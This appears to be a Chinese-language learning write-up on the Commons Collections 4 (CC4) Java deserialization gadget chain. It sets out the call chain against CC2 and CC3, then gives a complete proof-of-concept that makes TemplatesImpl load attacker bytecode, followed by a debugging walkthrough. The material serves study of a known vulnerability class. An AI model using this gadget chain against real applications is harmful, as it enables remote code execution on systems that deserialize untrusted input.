CC4
前置知识
CC4和CC2的依赖都是commons-collections4
,貌似和CC2也是很像的,也有人说CC4就是CC2和CC3的杂交
我是先学的CC2,这里贴一下Gadget对比一下
CC2
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC3
TransformedMap->transformerChain的transform->
InstantiateTransformer的transform -> TrAXFilter的构造函数->
-> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
CC4
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform() //这里是和CC2的不同了
ConstantTransformer.transform() //ConstantTransformer承接一下
InstantiateTransformer.transform() //下面就和CC3的后半段一样的了
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses.newInstance()
Runtime.exec()
从PQ(PriorityQueue)调到 TransformingComparator.compare()调用某个类的transform是十分丝滑的,这里也不说了,重点看看后面是怎么承接的
CC2里面是直接去调InvokerTransformer,这里可能是考虑被过滤的原因吧,不走这条道了,还是往tempslate执行字节码那里引
ConstantTransformer.transform() 老朋友了,感觉都挺熟悉的
写POC
首先还是原来的这俩函数
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.test.CC2.Evil.class.getName());
return clazz.toBytecode();
}
然后构造一个恶意的tempslate
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
tempslate是ChainedTransformer里面的东西触发的,还是搞一个真的一个假的
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })
};
套在chainedtransform里
ChainedTransformer chain = new ChainedTransformer(fakeTransformers);
往PQ里塞进去TransformingComparator(后面会调用它的transform),再往里塞俩元素,然后再反射把那个fake的给换掉
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(obj);
queue.add(obj);
setFieldValue(chain, "iTransformers", transformers);
POC
package com.test.CC4;
import java.util.PriorityQueue;
import javax.xml.transform.Templates;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class main {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.test.CC2.Evil.class.getName());
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })
};
ChainedTransformer chain = new ChainedTransformer(fakeTransformers);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(obj);
queue.add(obj);
setFieldValue(chain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
动态调试
进入PQ的readobject
下面这几步都没啥好说的:
heapify
siftDown
siftDownUsingComparator
comparator.compare这里进入TransformingComparator.class了,开始去调用transformer
这里调用的是chaintransform的方法
首先是ConstantTransformer返回一个TrAXFilter对象,然后调用InstantiateTransformer的transform,TrAXFilter对象作为参数传入
调用TrAXFilter对象的构造方法,this.iParamTypes即tempslate对象作为参数传入
对应我们poc里的这句new InstantiateTransformer(new Class[] { Templates.class },new Object[] { obj })
这里其实就是CC3的屁股了,已经分析过了